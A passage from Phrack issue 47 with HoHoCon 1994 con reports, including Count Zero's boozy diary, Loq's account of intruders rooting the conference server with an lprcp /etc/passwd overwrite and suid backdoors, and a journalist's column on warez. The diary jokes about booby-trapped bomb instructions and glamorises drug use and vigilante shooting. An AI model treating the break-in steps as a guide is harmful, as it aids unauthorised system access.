Later, we stop for food at an Indian restaurant. "Inexpensive buffet... cool.." I think. However, the curry chicken is full of bones. "Grrr...I am not pleased...these bones anger me..." "But the vegetables are pretty good," comments Veggie. "I need meat...I need to tear and rend flesh, " I snap back, on the verge of making an ugly scene. Leaving the restaurant, we immediately purchase hard liquor for the trip back to the hotel. Basil buys some Goldschlager. Veggie, some Everclear and V8 juice.... Rodney and Iskra, a large assortment of beer. Still filled with anger, I buy a pint of Southern Comfort out of spite.

Friday night, many people arrive. "Rambone! Crimson Death! Holistic!" I exclaim as I see my old, dear friends. Rambone's hair is much longer, Holistic is noticeably more hirsute, and Crimson Death looks remarkably the same as last year. We begin to drink heartily, and I promptly pass out on the foot of my bed. "Damn, Zero is *out*," says Veggie. "Let us cover his body and fill his arms with silly items and film him," someone suggests. Drunkfux captures my body on display for the video archives. An hour later, I awake refreshed and only mildly humiliated. "I was merely recharging," I tell everyone. "The mark of a professional alcoholic is the ability to *pace* oneself." Noticing that I have finished the Southern Comfort, I decide to forage for more liquor. My hunt is successful to the point that I cannot remember the rest of the evening...

Saturday, the "official" conference

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"Ugh," my brain tells me as I wake. "Stay out of this," I tell my malfunctioning organ. "We must attend the conference and discuss hacker things." Rolling down to the conference room, we find dozens of people waiting in line. Flashing our cow skull talismans, Veggie and I part the masses and proceed unhindered to the front row of the room. Iskra, Veggie, Basil and I seat ourselves directly behind a video projector. "Here, amuse yourselves," Drunkfux remarks and hands us a SuperNES... Several games of Mortal Kombat ][ later, I realize I have forgotten all the fatalities. "Damn, I need to rip out some spines," I think. We notice the long tables at the end of the room filled with people selling things. Fringeware has a large assortment of T‑shirts, jewelry, and books...other people are selling DTMF decoders and cable‑box hacks. "Merchandising...cDc needs more merchandising," I tell Veggie. He responds by pulling out a large box of cDc T‑shirts and hawking them to the conference attendees. Naturally, they sell like cold bottles of Evian in the middle of the Sahara.

Feeling a need for nicotine, I head out to the lobby area for a quick smoke. "Rambone!" I exclaim as I spot him smoking in a corner. "How ya doin this morning?" "How do you think?" he replies from behind dark sunglasses. "Oh, yeah," I respond. We stand together in a post‑alcoholic haze for a few minutes before saying anything. "Where's Crimson Death?" I ask. "Where do you think?" Rambone replies. "Oh, yeah," I answer numbly. Same as it ever was.

Crimson Death pokes his head into the lobby sometime later... "hey, hi"...then disappears back to his room for more sleep therapy. Erikb shows up and starts selling LoD shirts. "I'm staying outta there," he replies when I ask if he's going inside the main conference room. A Japanese man is fruitlessly trying to feed the Coke machine a dollar bill. The machine keeps spitting out his crumpled bill like a regurgitated leaf of soft lettuce. Feeling slightly ill, I re‑enter the conference room.

First speaker...the main guy from Fringeware, Inc. He apologizes for rambling, then proceeds to ramble for an hour or so. I cannot focus on his talk, and try to count the ceiling tiles. Joe630 approaches us and says "you're in my seats..I reserved them!" "Hug me and you're a dead man, " I growl. He wanders off. Basil and I amuse ourselves by playing with the plugs in the back of the stacked VCRs and the video projector. Plug and play, all the way.

Next speaker...some guys from the Prometheus Project. They are damn intelligent and have a lot to say, all presented very professionally (a bit *too* professional for this crowd...they could have mixed in some cartoons or something with their textual overheads). Most of the conference attendees seem to have the attention spans of gnats, and many appear to nod off. Too bad...the future of digital cash, encryption, and Underground Networks over conventional TCP/IP...very rad stuff (http://www.io.com/user/mccoy/unternet for more info). I plan to

investigate more ...definitely.

Another speaker...some guy talking about computer security...I don't catch his name, since I begin to have a slight nic fit and bolt for the lobby and my smokes. (Isn't this moment‑by‑moment review fascinating and oh‑so‑true to life?)

Damien Thorn comes up and talks about his current cellular articles and projects. He's apparently releasing a video on "cellular hacking" (Cellular Hacking: A Training Video for Technical Investigators)...shows a clip of it..damn hilarious. More like "MTV and Cops meets Cellular Hackers"...tech info mixed with funky music and hands‑on demos/skits... I gotta have it (mail to Phoenix Rising Communications, 3422 W. Hammer Lane, Suite C‑110, Stockton, CA, 95219 for info). Altho he says he is nervous about talking in front of everyone, he is very articulate... good show, man. He demos some DDI hardware for snarfing reverse‑channel data...nothing really new, but nice to see. Veggie starts playing with his cow skull talisman on the overhead projector, while Basil begins to make twist‑tie sculptures of cows and other animals. I attempt to make a twist‑tie bird. "What is that, a dog?," she laughs.

"My art is wasted on you," I growl, teeth bared.

Veggie gets up and talks about Canadians blowing themselves up after reading an old file of his on how to make pipe bombs. After he sits down, I suggest he release a new file. "Veg, man, you can call it 'An Addendum on How to Make Gasoline Bombs'...tell everyone it is a supplemental file to something you released years ago...include in it the note 'I forgot this safety circuit in my FIRST release of 'How to Make Gasoline Bombs'...you MUST include this crucial safety on the bomb...or it just might go off prematurely in your LAP....like, on a bumpy subway in New York'...it'll be a riot, dontcha think?" Veggie just glares at me and cracks his knuckles. It sounds like a heavy dog padding on thin, brittle plastic. "I don't think so," he mutters. Oh well, it was just an idea. I ponder my own dark, sick sense of humor. Perhaps I need therapy.

Grayarea gets up and begins to read off a pre‑prepared speech on her laptop. Her speech is too quick for my alcohol‑byproduct‑sodden synapses to register accurately. I keep staring at her dress...bright tie‑dye...mesmerizing...it's actually quite cool. Suddenly, Loki gets up in the audience and the accusations fly back and forth between them. You kicked me off IRC. You called my office at work. You are doing this, you are doing that. Both are getting into this verbal slugfest in a major way. I feel the bad karma in the room hanging heavy like blue‑green cigar smoke. "Can't we all just get along??" I yell, but no one seems to hear me. I don't know who is right or wrong (it's probably somewhere in between...the truth always gray, right?), so I don't hypothesize. All I do know is that I'd never want to piss off Grayarea...she's damn strong on her convictions and won't take shit from anyone. I think she'd look better up there wearing a big ol' leather jacket with studs...terminator style. "One tends to assume that people wearing tie‑dye gear are quiet, meek, very soft spoken, non‑confrontational types....it is a camouflage that suits her well," I think.

Finally, Steve Ryan gets up and speaks about some new computer crime laws passed in Texas. A lawyer working with the Austin EFF, he's always got something funny and informative to say. The new laws define "approaching" a restricted computer system as being illegal, as well as defining a "biochemical computational device" as a computer system. In other words, if someone comes up to you and talks to you, they have "approached" your personal "biochemical computational device" (read: brain), and are technically prosecutable for "hacking" under Texas law. Hoo yeah! Steve's whole speech is very cool, and I am only disappointed in the fact that he is the last person to speak....it's running very late and I have the attention span of a *hyperactive* gnat at this point.. But had it been anyone else up there, most of the conference attendees probably would have nodded off or wandered out the room.

After Steve, the conference fragments as people leave or buy last minute items from the "vendor tables." I buy a neat piece of jewelry...a little plastic doll arm tightly wrapped in twisted wire and metal. I pin it to the lapel of my jacket. "I'm ready to rock, let's party!" We leave in search of alcohol and assorted mind‑enhancements.

In the hotel restaurant, we gather to plan our New Year's Eve excursion. All of our synapses are jammin' to various biochemical beats, and I order a chicken fried steak to fuel the fire in my skull. "Veggie, your pupils are the size of dinner plates," I tell him from behind a mouthful of steak and gravy. "Let me touch your jacket...is it blue or green?" he replies. "It is both...yet neither," I respond, pulling my arm out of his clutches. Later, we secure a ride with Ixom and Nicko into Austin...destination: Sixth Street.

"Say Nic, did you ever see that movie 'Heavy Metal'..y'know, when the aliens are trying to land their spacecraft in the huge space station?" I yell above the whine of the engine, digging my nails into the passenger seat. "Nope," he replies, and we suddenly veer across 4 lanes of traffic. "Perhaps it is better this way," I think. Life imitates art, then you die.

Holistic and I find Ohms. We queue up and wait to enter the house of techno‑funk. "I know this place...I feel at peace," I tell a middle‑age drunken woman in front of me. She stares back with glassy eyes and feebly blows on her party horn. "Yes, I know," I reply and look at my watch. 11:55PM. Five minutes later, I walk into Ohms. A flyer on the wall has a graphic depiction of a man screwing a woman with a CRT for her head, the title "Dance to the Sounds of Machines Fucking." Everyone begins to cheer and yell as I step through the inner doorway. "Either it is now 1995, or I appear to have fans," I think. Ya, right.

I order Holistic and I some screwdrivers. As the waitress is pouring the vodka, she suddenly look distracted and our glasses overflow with booze. Grinning at me meekly, she squirts just a dash of orange juice in each glass and hands them too me. "Sorry, they're a bit strong," she apologizes. "No burden," I reply warmly. "Wow, that was weird... but bonus for us!" Holistic says as he sips his drink with a wince. "No, that was a sign of the cow," I smirk, fingering my silver cow skull talisman on my neck. "You'll get used to it."

Ohms is filled with smoke, sweat, flashing lights, and the funkiest techno music I have ever heard. Wandering outside, I see someone has set up several computers with PPP links to the net...they are attempting to use CU‑SeeMe videoconferencing software with other sites around the world. "Nice computer, are you responsible for this network?" I ask one of the operators as I open the machine's PPP config file and quickly peruse the dialup # and entire login script under the person's nose. "Oh, I don't know how they work..I'm just playing with this Fractal Painter thing," she replies. "Yes, I thought so...Holistic, next round on me..." I exclaim as we leave.

There are several robotic arms on the stage clutching strobe lights, occasionally twisting around and pointing into the crowd. Holistic, Basil, Crimson Death, and I begin to dance with insane purpose. Four hours later, we are still dancing. Holistic eventually leaves for the hotel. The remaining three of us dance until we have no more body fluids to exude. "I love you guys," Crimson Death smiles as he grabs both me and Basil in a bearhug and kisses us on the forehead. "Yes, this is bliss," I reply. Suddenly we see Rambone at the bar...he is wide‑eyed and sweating more than a human should be. "Well, perhaps bliss is relative," I think. Rambone leaves the club. Later, we find Bill and ride safely back to the hotel. It is 6:00AM.

We find Veggie and Iskra in our room. They have been staring at Veggie's "Hello Kitty" blinky lights and writing stories all night long. "Read this, it's good! Read it NOW!" Veggie exclaims. "If it is good now, it will still be good in the morning...I shall sleep now," I answer through a haze of exhaustion. Several minutes later, my remaining higher cortical functions shut down and I am enveloped in sleep.

Sunday, early afternoon

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Crimson Death stops by our room to say goodbye. "Here is my new address and such..I've written it on this paper and folded it into an origami bird for you," he tells me. "Functional art...I dig it, man," I answer and shake his hand. The rest of the day passes lazily, until that evening when we pile into Drunkfux's van and head for Chuck‑E‑Cheeze for dinner. "God in Heaven, they serve BEER here!" I exclaim, quickly ordering a pint. Several slices of pizza and glasses of beer later, we are all playing skee ball, video games, and air hockey. Basil is deftly beating everyone at air hockey (including myself). "I'm into more intellectual games, " I grumble. "Say Swamp Ratte', let us play a stimulating game of 'Whack‑a‑Mole'." A real thinkin' man's game, by gum... He whips my ass. "Damn moles, " I grumble again.

Many "spring echo" plastic microphones are purchased...when yelled into, one's voice is given an echo audio‑effect, and Drunkfux begins to announce the play‑by‑play of the air hockey games in his best Howard Cosell voice. I see Damien Thorn, Carol (the journalist), and a dozen other HoHo attendees cavorting around Chuck‑E‑Cheeze...yet the restaurant has technically closed 30 minutes ago. No one is attempting to make us leave. "We dominate this establishment, but it can't last forever," I think. Deciding it's a good time to cash in my tickets won from skee ball, I walk over to the ticket cash‑in counter. I notice the man behind the counter is counting them by weighing them on a scale. "Hrmmm...I wonder if I dipped them in beer...the increased weight would increase my.." but my thoughts are stopped short. Too late, the restaurant is surely closing now, and everyone is leaving. "Next time, muahahahaha." I plot and scheme. The giant plastic monkey (costing 500 tickets) will surely be mine...next time.

Back at the hotel, I glance at a local newspaper in the lobby. On the front page is a story of 2 people shot and killed in Planned Parenthood clinics in Brookline by some sick 'right‑to‑lifer'. "Goddamn, that's in my home city...Boston!", I think. Quickly reading the story, I feel sickened that someone could kill like that. I entertain a brief fantasy....me sitting in the clinic in the waiting room....me seeing the sicko pull a rifle out of a bag and pointing it at the defenseless receptionist....me swinging my pump‑action Mossberg 500 12 gauge shotgun out from under my long coat....and me walking six rifled deer slugs up the scumbag's spine. Doom on you, sucker. Violence is nasty, but it is a final resort sometimes. I think how I'd have no reservations defending another human life with deadly force. "An armed society is a polite society," I think, mentally quoting Robert Heinlein. If all those clinic workers could pack heat, people would think twice about trying to threaten them. People have the right to choose how they live their own fucking lives and control their own damn bodies...they shouldn't have to die for it. I read how the police are planning to increase "officer visibility" around the clinics. "Ya sure, us poor citizens are too meek to defend ourselves...let's let big bro' handle it..," I think. I file the entire incident in my mind under "yet another reason to watch your ass and carry a big stick."

I go back to the room and drown my reality‑dosed anger by reading the ultra‑violent comic book "Milk and Cheese" (most highly recommended..buy it...now!). I ponder one of Cheese's most memorable quotes: "I wish I had a baseball bat the size of Rhode Island, so I could beat the shit out of this stupid‑ass planet." Sometimes, yes.

Later that night, Rika (the Japanese correspondent) gives us a private viewing of Torquie's video on hacking. We all agree it is very good...a great deal of coverage of the international scene...Germany...the Netherlands...even a clip of someone boxing in Malaysia. I fall asleep feeling content.

Monday, *TREMENDOUS DAMAGE*

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Monday arrives like a lamb...we wake late and hang around our room. Swamp Ratte' decides to take a shower. "I'm just trying this concept out... if I like it, I might do it again," he says. After the shower, he gives the concept a big "thumbs up" and tells us of his plans to incorporate it into his regular personal hygiene routine. "This shower idea could be the Next Big Thing," he says ominously. "Change is good...and so is conditioner," I comment, combing the snarls out of my own hair. We call downstairs to check on the jacuzzi suite we had reserved for tonight. We are curtly informed that they are all booked. "What, you promised us," I gasp. "Damn you, then we shall check out of this pit....sayonara!" Two hours later, we receive notice that all HoHo attendees still in the hotel are being kicked out "due to the *tremendous damage* incurred on the hotel this past weekend." "What Tremendous Damage?? I'll show them tremendous damage!" Veggie vows, leaping for the door. The rest of us manage to convince Veggie that his plans to drive to the closest hardware store and buy a box of crowbars and sledgehammers is probably not the best thing to do. "Don't worry, Veg, " I say, comforting him. "We shall find another jacuzzi, no doubt."

We pile into Drunkfux's van and search for a new hotel in the center of the city. On the way, we swing back into The Corner Shoppe, where Rodney films some more of our antics amongst the dead critters. Rambone buys a long bullwhip (it's a hobby, he says), and Swamp Ratte' gives an impassioned speech for the camera on the joys of authoring. We finally drop off Rodney at the airport and bid him farewell on his voyage back to the Great White North.

The downtown Marriott ends up being our final destination. After visually checking out the jacuzzi and pool facilities (no jacuzzi in the room, sigh, but a very nice public one open until 11:00PM), Drunkfux, Basil, and I head out in search of swimwear. Veggie, Iskra, Swamp Ratte', and Rambone remain in the room...and eventually head for the bar. We return ready for aquatics. The three of us soak in the jacuzzi and swim in the pool, and finally we all retire to our hotel room. "Damn, everyone looks like beached squid...let's go out to Emo's tonight!" I exclaim, trying to win them over. Veggie, Iskra, Basil, and Rambone appear dead to the world. "Here, I have some ephedrine left over from the other night...it's over‑the‑counter...and will make your toes tap." Reluctantly, they agree to partake. A few minutes later, Rambone and Veggie are wrestling on the bed, and I am experimenting on Drunkfux with Rambone's bullwhip. "Gosh, I think these pills are stimulating," remarks Rambone. "Yes, and let us not waste it...to Emos!" I cry. We arrive at Emos and spend the evening playing pinball and listening to the jukebox.

Returning to the Marriott, we are all still wired. "Let us watch 'The Crow' on the tele," I suggest. "Mayhem and Love at it's best!" Most agree, and I sit riveted for the entire film. "I am morphine for a wooden leg," I quote mentally from the original graphic novel. That line never got into the movie, but I think it is one of O'Barr's best.

Tuesday

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Not much happens...we wander the city...bid farewell to Rambone at the airport...check out the Fringeware store at 5015 1/2 Duval Street in Austin...and generally chill. Erikb shows up, and Drunkfux wires the hotel room for a video interview with him and the rest of us as we all lounge on the two twin beds. At one point, Drunkfux, Basil, and I are alone in the room when I call downstairs for room service (I sometimes have a need for funked‑up potato skins, pronto). A knock at the door... Drunkfux answers it wearing nothing but a towel around his waist and a towel on his head (having just showered). Ushering in the room service guy, I tell him "just put the tray on the table, kind servant" I absentmindedly push aside Rambone's coiled bullwhip. Suddenly realizing the potential misinterpretation of my situation, I glance behind me to see the video camera on tripod pointed at the beds, video equipment, monitors, and Basil wearing her leather pants, curled up on one of the many tousled blankets, dead asleep. "Uh, huh....thanks...." I stammer as I slip the guy a fiver. I try to think of something funny to say like "oh, we're making a DOCUMENTARY," but the glazed look in his eyes tells me we are beyond the point of no return. "Well, these are the rumors that legends are made of," I think as I close the door behind him and wolf down my skins. They are teeming with toppings.

That evening, I take a late‑nite swim by myself in the pool. The water is heated, and by swimming under a small ledge, one is able to actually swim to the outside section of the pool under the open sky. Steam rises in thick curls into the crisp night air, and as I float on my back I am able to see the stars. Never have I felt so relaxed. "Like an amoeba in the primordial soup, I live in the gutter yet strive for the stars," I paraphrase softly to myself. Only the stars hear me.

Wednesday (last day, YES, we EVENTUALLY go back home) ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Waking at the ungodly hour of 5AM, we make our early flight back to Boston. Swamp Ratte' and I sit in the hotel lobby waiting for our shuttle to the airport.

"I'm going to write about this HoHoCon again...we can put it in cDc #300," I tell him.

"Cool," he replies. "What's it going to be like?"

"I dunno...the same as last time..maybe I'll mix in some weird dream sequences."

"How about the cDc members fighting the Power Rangers and whippin' their sorry asses?"

"Yeah, that sounds surreal enough!"

We make our goodbyes, and on the way to the airport the shuttle bus driver from the hotel asks us "so are you with the team?"

"Uh, what team?"

"You know...the Power Rangers team...the ones putting on the show...they are staying in our hotel. I thought you were with them. They're actors putting on a live Power Rangers show across the country."

"No, no, we're not with them. Please leave us alone."

My mind is pulled apart by this lattice of coincidence. I decide to leave the dream sequence out of my phile. This, Veggie, THIS...is a sign.

I don't talk to the others much during the flight home. Perhaps it is because I know the adventure is over and I am saddened slightly. Perhaps I am merely tired. Most probably, it is a combination of the two. I quickly depart from the airport and without goodbyes grab a cab for the L0pht. I spend that evening alone at the L0pht, surrounded by Machines of Loving Grace and the solitude of blinking electronic devices... I am a bit happier.

Woop de doe, dat's the show.

Count Zero *cDc*

HoHo Miscellany

==Phrack Magazine==

Volume Six, Issue Forty‑Seven, File 12 of 22

HoHoCon Miscellany

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"HERTz vs Y"

By Loq

(for the uninformed, HERTz is the Hohocon Emergency Response Team, born to deal with pussy (err posse)‑like hackers on the net)

OK, here it is...The complete story about hohocon.org, or at least as much as I can piece together...I will try to restrict myself to hohocon.org information, as I sure plenty of people have their own comments on what happened at h0h0.

I arrived at hohocon Friday evening, and there was nobody around. After phoning fool's VMB, I headed up to room 518, the computer room, to see what was up. f0t0n, MiCRO^[[, fool and other people were scattered throughout the room were supposedly working on getting the system up, but they were having some "routing" problem...Hmm... Nevertheless, they finally got it up a short time later, working reasonably well.

hohocon.org consisted of a mass of computer equipment all kludged together, which nevertheless worked remarkably well. There was the main user machine, hohocon.org, which handled all the user logins, the (supposedly dual) 28.8k PPP gateway machine, photon.hohocon.org, the terminal server, oki900.hohocon.org, and then micro^[['s box, lie.hohocon.org (lie didn't allow logins to most people). Additionally, a last minute machine was added onto the network as sadie.hohocon.org. That machine was graciously provided by mwe, a dfw.net type who fool had hit up for terminal and had shown up with a mysterious overclocked '66 with a shitload of neat stuff including multimedia capabilities. He also brought us several "classic" (some call them ancient =) terminals that people were able to use to login.

At some point, dfx showed up and made use of America's capitalistic system by offering various warez for sale, consisting mostly of those nifty red‑type armbands to let people in to the main event...he pointed his camera at the systems..and then left. he's tooo uber for us...

Friday night, everything was calm...Micro^[[, myself, and several other people started working on bouncing between sites on the net...Several people donated accounts to use for this task, and we ended up with a nice list, until we hit utexas.edu, when the whole thing came to a screeching halt...Must say something about University of Texas at Austin networking, eh? Not wanting to escape through tons of telnets just to kill the final one that went through utexas, we just killed the whole thing and decided that we would do it the next day (although we never did get around to it again... oh well)... For those interested, here is a list of some of the sites we were able to bounce through:

usis.com (Houston, Texas)

bell.cac.psu.edu (State College, Pennsylvania)

pip.shsu.edu (Huntsville, Texas)

dfw.net (Dallas, Texas)

deepthought.armory.com (San Jose, California) falcon.cc.ukans.edu (Lawrence, Kansas)

dunx1.ocs.drexel.edu (Philidelphia, Pennsylvania)

solix.fiu.edu (Miami, Florida)

thetics.europa.com (Portland, Oregon)

yogi.utsa.edu (San Antonio, Texas)

thepoint.com (Sellersburg, Indiana)

aladdin.dataflux.bc.ca (British Columbia, Canada) itesocci.gdl.iteso.mx (Guadalajara, Jalisco, Mexico) tamvm1.tamu.edu (College Station, Texas) Joyce‑Perkins.tenet.edu (Austin, Texas)

earth.cs.utexas.edu (Austin, Texas)

I left Friday night around 2 am because I had to work at 8 :(...I will never do THAT again...Nothing very eventful happened in the computer room, several people wandered by, ophie refused to say hi to me (j/k ophie) and plenty of jokes and stories were passed around...

Saturday nite was when all the fun happened on the net. fool decided it would be a great idea to let everyone have accounts, and we finally got up to about a 60 line password file...Much of this traffic was over a 28.8k slip, which worked its way down to about 10bps by the time everyone started (ab)using it, not to mention the wonderful speed‑decreasing/error‑overcoming resolution tendencies of the v.fc protocol, which left us a bit...uhh... llllaaaaaaaaaggggggggggggeeeeeeeeddddddd. This was eventually switched down to 14.4k after photon realized the problems the v.fc was causing.

The next problem was probably very predictable, apparently to everyone except for one "fool" who broke down and decided to give y an account. Everyone familiar with y (Y‑WiNDoZE), knows his general habits around systems, and hohocon.org was no exception(ok,ok, so it wasn't completely fool's fault... Still...:)

Apparently y next let x login under his account to look around. The details are a little sketchy, but the first thing X did was look around, check out the password file, check out the remote hosts, went on irc for a bit, and then he began his real attack. He ran pico and suddenly there was a copy of 8lgm's lprcp in his directory (presumably he ascii uploaded it into the editor) with the name 'posse'...hmmm... How ingenious (bah)...He then proceeded to copy the password file to his own directory, add a WWW account, password bin, and use lprcp to put it back in /etc/passwd. (copies of his .bash_history should be available on fool's ftp site by the time you read this...see below)

DjRen and I, in the meantime, were out of the room having a small party for ourselves, so I didn't get a chance to see all this happening. Apparently nobody discovered it until y started wall'ing message about his eliteness and also started bragging to everyone on irc about it. When Dj and I returned, we discovered that X had managed to an account for himself on the system. X installed his own backdoors into the system and started playing around. At this point, I wasn't really fully aware of what was going on because of the buzz I had from that New‑Years‑Day bottle of champagne graciously delivered to us by an interesting Australian writer at the conference.

Finally, Dj and I returned to the computer room, where I sat down at a terminal to IRC a little, and I heard a big commotion about how y had hacked root :) About the same time, y was on irc attempting to play netgod because he hacked hohocon.org :)

Apparently even Mike got access to the system at one point, but it is not clear if he did anything once he was there. The people sitting at the hohocon.org consoles then began a massive scramble to kick them out of the system. Several times they were killed, but Y and X kept coming back. fool managed to find some of the accounts they had created, and I managed to hear the root password from among the commotion and I logged in to kill inetd keep them from being able to connect in. I then proceeded to do a find for all the suid programs, where I found a couple of x and y's backdoors (the oh‑so‑elite /usr/bin/time sure had me ph00led, y :)

After I removed the backdoors I could find, I looked at /etc/motd, and noticed y's message:

========================================

Spock rules more than anyone

WE SWEAR

WELCOME SOUTH EASTERN POSSE TO HOHOCON!@#$

========================================

I don't think I really have to make any comment about this message, it is clearly self‑explanatory :)

Thinking I could be elite too, I replaced his message with

========================================

Loq has defeated X and Y :)

========================================

Photon came in the room, and started working on getting the systems back together... That was the conversation where we coined the phrase the "Hohocon Emergency Response Team (HERTz)".

About half‑an‑hour later, Eclipse ambled into the room telling me to login again...I do and somehow Proff had managed to get root access and add a line into the motd:

========================================

Loq has defeated X and Y :)

And proff has defeated Loq.

========================================

I started to look around a little and suddenly it looked like all the files were missing... When I did an ls / I realized that Proff has replaced ls with his own copy that wouldn't show any files :) So for awhile, I had to do echo *'s just to get lists of files in the directories. At that point, I really didn't want to play the games anymore, as it was about 2am and I had to work at 8am that morning, but I congratulate Proff in being able to defeat all of us that one last time :)

The rest of the con, with respect to the network, was pretty quiet... For those interested, most of the hohocon logs and information will be on fool's ftp site: ftp://dfw.net/pub/stuff/FTP/Stuff/HoHoCon

The list of users that were finally on Hoho was pretty large, here is a copy of all the accounts that existed on hohocon.org at the time it went down:

root bin daemon adm lp sync shutdown halt mail news uucp operator games man postmaster ftp fool yle djren mthreat shaytan loq mindV klepto btomlin nnightmare train patriot fonenerd joe630 plexor pmetheus vampyre phlux windjammer nocturnus phreon spock phred room202 novonarq thorn davesob f‑christ gweeds cyboboy elrond onkeld octfest tdc mwe angeli Kream ljsilver marauder landon proff hos fool cykoma dr_x el_jefe mwesucks iceman eric z0rphix

Other miscellaneous notes....

Thanks to fool for organizing as much as he did in such limited time. It sucks that the first hotel had to cancel and that caused

us to lose our ISDN link...Hopefully next year I will be able

to provide the link for you.

Thanks to photon for getting the PPP link up and running...it disconnected many times and became really slow when the load finally came down on it, but overall it worked extremely well with few problems.

Thanks to micro^[[ for the idea of trying to bounce the telnets around the world in the normal hacker tradition...

Thanks to eclipse for the interesting conversations and for giving me a better understanding of Proff... :)

A small note that Eclipse discovered:

"To Root: (slang) To have sex..."

ahh...no wonder all those people sit on the net on friday nites :)

Thanks to Proff for the extra entertainment at the end of the nite... I look forward to battling you in the future :)

Also thanks to X and Y for the entertainment as well :)

Finally, thanks to both fool and eclipse for helping me review this text and get it somewhat accurate at least :)

I am intentionally leaving everyone else's names off of here because I know I would forget someone that I met at hohocon, and I wouldn't want to cause hurt feelings or anything :)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bits and Bytes Column by J. Barr (From Austin Tech‑Connected)

WaReZ <nOun> 1. Stolen software available to 'elite' callers on 'elite' bulletin boards. 2. Pirated or cracked commercial software.

HoHoCon is Austin's annual celebration of the computer underground. Phreaks, phracks and geeks rub shoulders with corporate security‑types, law enforcement officials, and various and assorted cyber‑authors. It's an in thing, a cult thing, an elite thing. In many ways it reminds me of the drug‑culture of the 60's and 70's. It has the same mentality: paranoia and an abiding disdain for the keepers of law and order. But after all, HoHoCon honors the Robin Hoods of the computer era: stealing from the rich, powerful, and evil prince (Microsoft, IBM, Lotus, et al) and distributing to poor dweebs under the very nose of the sherrif.

A nose, by the way, that just begs to be tweaked. That's the romantic notion, at least. To others there is no nobility in computer crime. Whether it's a case of wholesome anarchy run

amok or youthful pranksterism subverted to common criminal mischief: warez is warez, theft is theft.

A month or two ago I had an email conversation with a young

man and we discovered we both ran BBS's. He asked what my

board was about and I explained that The Red Wheelbarrow)

was for 'rascals, poets, and dweebs', and that it carried echos from FidoNet, USENET, and elsewhere. He replied that his was

a private board, one that dealt mainly in "WaRez and 'bOts" and closed his note with an "eVil gRin." Not being sure what he was talking about, I asked him to spell it out for me. I never heard from him again.

I mention this because at HoHoCon you either knew these

things or you didn't; you were part of the elite or you were not. Like my questions to my friend the pirate board operator, my questions at HoHoCon went unanswered.

The hype in various Austin newsgroups for this year's event talked quite a bit about the party last year. Cyberspace luminaries shared top billing with the mention of teenage girls stripping for dollars in a hotel room. I decided then and there it was the sort of function I should cover for Tech‑Connected.

I asked at the door for a press pass and was directed towards a rather small redheaded kid across the room. The guard at the

door said he (the kid) was running the show. I expected to see lots of people I knew there, but I only saw one. John Foster is the man who keeps the whole world (including Tech‑

Connected) up‑to‑date as to what boards are up and what boards

are down in Central Texas. John is about my age. He looked normal. Everyone else was strange. I saw more jewelry in

pierced noses and ears walking across that room than I normally see in a week. Lots of leather and metal, too. HoHoCon '94

looked like where the tire met the (info) road: a cross between neo‑punk‑Harley‑rennaisance and cyber‑boutique. Most of the

crowd was young. Old gray‑beards like John and I really stuck out in the crowd.

I found the redheaded kid. He was selling t‑shirts at the table. Next to him an "old hand" (who must have been nearly 30) was reciting the genesis of personal computers to a younger dweeb. They quibbled for a second about which came first, the Altos or the Altair, then looked up to see if anyone was listening and smiled when they saw that I was. I waited respectfully for the redheaded kid to finish hawking one of his shirts, then repeated my request for a press pass. He just looked at me kind of funny and said he had given some out, but only to people he knew. I didn't know a secret handshake or any codewords I could blurt

out to prove I was cool, so I just stood there for a moment and thought about what to do next.

Perhaps a change in costume would make me cool. Maybe then

these kids could see that I was OK. I picked up a black one, it read NARC across the front and on the back had a list of the topten NARC boards of 1994. Not wanting to appear ignorant, I

didn't ask what NARC stood for. I figured it would be easy

enough to find out later, so I bought the shirt and left.

I returned Sunday morning, wearing my new NARC t‑shirt,

certain it would give me the sort of instant‑approval I hadn't had the day before. It didn't. As I was poking around the empty meeting room, a long‑haired dude in lots of leather came

clunking up in heavy‑heeled motorcycle boots and asked what I

was doing. I explained I was there to do a story. That shut him up for a second so I decided to pursue my advantage. "Anything exciting happen last night?" I asked. "Nothing I can tell YOU about, SIR" he replied, then pivoted on one of those big heels

and clunked away.

Browsing the tables in the meeting room I found pamphlets left over from the previous day's activities. There was an old 'treasure map' of high‑tech 'trash' locations in Denver. Northern Telecom, AT&T and U.S.West locations seemed to be the focus.

There were flyers from Internet access providers (it seemed a little like carrying coals to Newcastle, but then what do I know), a catalog from an underground press with titles like "The Paper Trail" (just in case you need to create a new identity for yourself), "Fugitive: How to Run, Hide, and Survive" and

"Secrets of Methamphetamine Manufacture." Good family

reading, fer shure.

For the purists there were reprints of issues 1 to 91 of "YIPL/TAP", the first phreak newsletter. For the wannabe's like me, there were more kewl t‑shirts to be ordered. I decided I should have opted for the one with "Hacking for Jesus" across

the back. I appreciate the art of anthropology a little more after trying to read the spoor left behind at HoHoCon. It is definitely a mixed bag.

To this day, I'm not certain what NARC stands for. Someone suggested it was any state or federal officer interested in busting people, just like in the bad old days (or today, for that matter). Maybe it's shorthand for aNARChist. The definition I like best

was given to me on an internet newsgroup, alt.binary.warez.pc. (Really, it exists right there in front of the Secret Service and everyone.) One reply actually had an answer. After a paragraph

or two of the requisite 'my gawd what a stupid question from a know‑nothing nerd', the suggestion was made that it stood for "Never At Rest Couriers."

I like that one because it suggests a purpose for those 'bots my friend with the WaReZ board and the eViL gRiN mentioned in

our conversation. Sitting in private channels on IRC servers, 'bots could be used to store and forward pirated goods across the internet in almost untraceable ways. Who knows for sure? Not

I. One thing I'm certain of, I'm real careful what part of town I wear my NARC t‑shirt in. I would really hate getting shot by a confused crack‑cocaine dealer who thought my shirt was the

signal his deal had gone bad.

Because I had been excluded from the inner circle, because I

